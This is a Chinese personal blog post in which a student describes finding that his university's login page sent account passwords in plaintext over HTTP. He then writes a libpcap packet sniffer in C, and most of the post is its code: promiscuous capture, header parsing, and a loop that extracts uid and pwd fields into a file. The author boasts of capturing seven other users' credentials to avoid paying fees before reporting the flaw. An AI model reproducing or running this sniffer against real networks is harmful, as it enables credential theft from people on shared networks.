一不小心搞到了某大學的一堆校園上網帳號。

原創故事,大學生涯也快要收尾了,寫篇文章紀念一下。

也是第一次寫博客,好緊張啊,要怎樣寫才顯得低調不傲嬌呢?害羞

先聲明,這次網絡密碼竊取不懷惡意,僅供學習實踐之用。

這一切要從好久好久以前,不知道什麼時候說起,先上截圖吧,

這是我們學校的校園網登錄界面,需要帳號密碼認證。按流量收費,一塊錢一個G啊,天天上網看大片的我一個月就是好幾十,簡直把生活水平都拉昇了一個數量級了不是?

這都不是重點,重點是這五秒倒計時。五秒啊喂,每次都要等5秒纔可以登錄啊!雖說是可以防止暴力攻擊,但絕對拉低用戶體驗了。作爲一個資深懶癌患者加菜鳥程序員學渣,這五秒簡直就不能忍啊對不對?(其實已經默默的忍了兩年多了鄙視


終於有一天忍不下去了,於是翻了一下網頁代碼,呵呵,果然在這:


改成var remain=0,保存網頁,打開網頁:


可以跳過5秒直接登錄了有木有?果斷登錄成功!


說了這麼多都不是重點,下面開始進入正題:


繼續瀏覽一下返回的網頁代碼,我擦,這是什麼鬼?(紅圈裏面)


這TM不是老子的帳號和密碼麼?我費心費力保護得那麼好,你TM就給我明文的寫到網頁代碼裏面?而且連個https都捨不得用,http網頁明文傳輸啊喂!


等等,我好像發現了什麼?明文密碼+明文傳輸!那不是等於服務器一直在對外面喊,xx的帳號是xxx,密碼是xxxx!既然如此那我也來聽聽?


啓動神器wireshark!

果然,再清楚不過了!雖然能成功了,總不能每次聽個密碼還要開個wireshark吧?神器是留着用來做大事的,對付偷聽密碼這種小事就交給小工具就好了。


好,那我就來寫個專業偷聽器,咳,不對,是非專業網絡監控助手!


開發環境Ubuntu14.10,加libcap庫!

這是主函數:

int main(){
	
char *dev,errbuf[256];
 pcap_t *handle; 
 struct pcap_pkthdr hdr;
 const u_char *packet;
dev=pcap_lookupdev(errbuf);

if(dev==NULL)
{printf("%s",errbuf);
exit(1);
}else
printf("dev:%s\n",dev);

handle = pcap_open_live(dev, 1024, 1, 1000, errbuf);

pcap_loop(handle,-1,deal,NULL);


exit(0);
}

先用pcap_lookupdev()查找到當前使用的網絡設備;然後pcap_open_live()打開網卡開始監聽,這裏需要以混雜模式使用網卡,這樣才能監聽到其他主機的網絡流量(當然,要在同一個碰撞域中);pcap_loop()是一個循環函數,每次收到一個數據包啓動回調函數deal處理數據。


回調函數就不給出完整的了,防止有腳本小子用來幹壞事。主要講一下過程吧:

數據包處理無非就是一層一層剝衣服的過程,先去掉數據鏈路層,再去掉ip頭,再是傳輸層頭(tcp頭或者udp頭)。這裏就是見證指針威力的時候了,

const struct ethhdr *ethhead;
	const struct iphdr *iphead;
	const struct tcphdr *tcphead;
	
	ethhead=(struct ethhdr*)(packet);
	iphead=(struct iphdr*)(packet+14);
	char ipl = (iphead->ip_vhl) & 0x0f;
	int iplen = ipl;
	tcphead=(struct tcphdr*)(packet+14+iplen*4);
	char tcpl=((tcphead->th_offx2) & 0xf0) >> 4;
	int tcplen=tcpl;

根據這幾個頭我們可以提前過濾調一些我們不需要的數據包:

先過濾調非ip協議的數據包:

if(0x06!=iphead->ip_p)
		return;

然後濾掉非http協議的數據包,這裏我們用端口號是否爲80來識別:

if(80!=ntohs(tcphead->th_sport))
		return;
然後過濾掉非目標服務器發來的數據包:

if((!strcmp(inet_ntoa(iphead->ip_src),"xx.xx.xx.xx")))
		return;


根據剛纔看到的網頁代碼的特點,我們從http裏面過濾出用戶帳號和密碼字段就OK了。

int i,c;
	char* buff = (char*)(packet +54);
	FILE *fp;
	for (c = 0; c < (pkthdr->len-54); c++)
					{//putchar(buff[c]);
						if (buff[c] == 'u'&&buff[c+1] == 'i'&&buff[c+2] == 'd'&&buff[c+3] == '='&&buff[c+4] == '\'')
						{if((fp=fopen("BlackCount.txt","a"))==NULL)
							return;

							for (i = 0; buff[c + 5 + i] != '\''&&i < 20; i++)
								{putchar(buff[c + 5 + i]);
								fputc( buff[c + 5 + i], fp );}
							putchar('-');
							fputc('-', fp );
							fclose(fp);
						}
						if (buff[c] == 'p'&&buff[c + 1] == 'w'&&buff[c + 2] == 'd'&&buff[c + 3] == '='&&buff[c + 4] == '\'')
						{if((fp=fopen("BlackCount.txt","a"))==NULL)
							return;
							for (i = 0; buff[c + 5 + i] != '\''&&i < 20; i++)
								{putchar(buff[c + 5 + i]);
								fputc( buff[c + 5 + i], fp );}
							putwchar('\n');
							fputc('\n', fp );
							fclose(fp);
							printf("\n-------------------------------------------\n\n\n");
						}
					}
這裏把獵獲的帳號和密碼自動寫到文件裏面。

好!大功告成,現在來小試一下牛刀。沒多久的功夫收穫7個有木有,媽媽再也不用擔心我沒網費了~


本着科學上網的原則,最後我還是給學校有關部門發了封郵件,報告了這個情況。





最後,附上我最喜歡的數據包頭結體構定義,以後剝數據包都靠它了:

#include <sys/types.h>
#include <arpa/inet.h>

/* 以太網的地址佔6字節 */
#define ETHER_ADDR_LEN 6

/* 以太網頭 */
struct ethhdr {
	u_char ether_dhost[ETHER_ADDR_LEN]; /* 目的地址 */
	u_char ether_shost[ETHER_ADDR_LEN]; /* 源地址 */
	u_short ether_type; /* IP? ARP? RARP? 等 */
};

/* IP 頭 */
struct iphdr {
	u_char ip_vhl; /* version << 4 | header length >> 2 */
	u_char ip_tos; /* type of service */
	u_short ip_len; /* total length */
	u_short ip_id; /* identification */
	u_short ip_off; /* fragment offset field */
#define IP_RF 0x8000 /* reserved fragment flag */
#define IP_DF 0x4000 /* dont fragment flag */
#define IP_MF 0x2000 /* more fragments flag */
#define IP_OFFMASK 0x1fff /* mask for fragmenting bits */
	u_char ip_ttl; /* time to live */
	u_char ip_p; /* protocol */
	u_short ip_sum; /* checksum */
	struct in_addr ip_src,ip_dst; /* source and dest address */
};
#define IP_HL(ip) (((ip)->ip_vhl) & 0x0f)
#define IP_V(ip) (((ip)->ip_vhl) >> 4)

/* TCP 頭 */
struct tcphdr {
	u_short th_sport; /* source port */
	u_short th_dport; /* destination port */
	//tcp_seq th_seq; /* sequence number */
	//tcp_seq th_ack; /* acknowledgement number */
	int32_t th_seq; /* sequence number */
	int32_t th_ack; /* acknowledgement number */
	u_char th_offx2; /* data offset, rsvd */
#define TH_OFF(th) (((th)->th_offx2 & 0xf0) >> 4)
	u_char th_flags;
#define TH_FIN 0x01
#define TH_SYN 0x02
#define TH_RST 0x04
#define TH_PUSH 0x08
#define TH_ACK 0x10
#define TH_URG 0x20
#define TH_ECE 0x40
#define TH_CWR 0x80
#define TH_FLAGS (TH_FIN|TH_SYN|TH_RST|TH_ACK|TH_URG|TH_ECE|TH_CWR)
	u_short th_win; /* window */
	u_short th_sum; /* checksum */
	u_short th_urp; /* urgent pointer */
};



發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章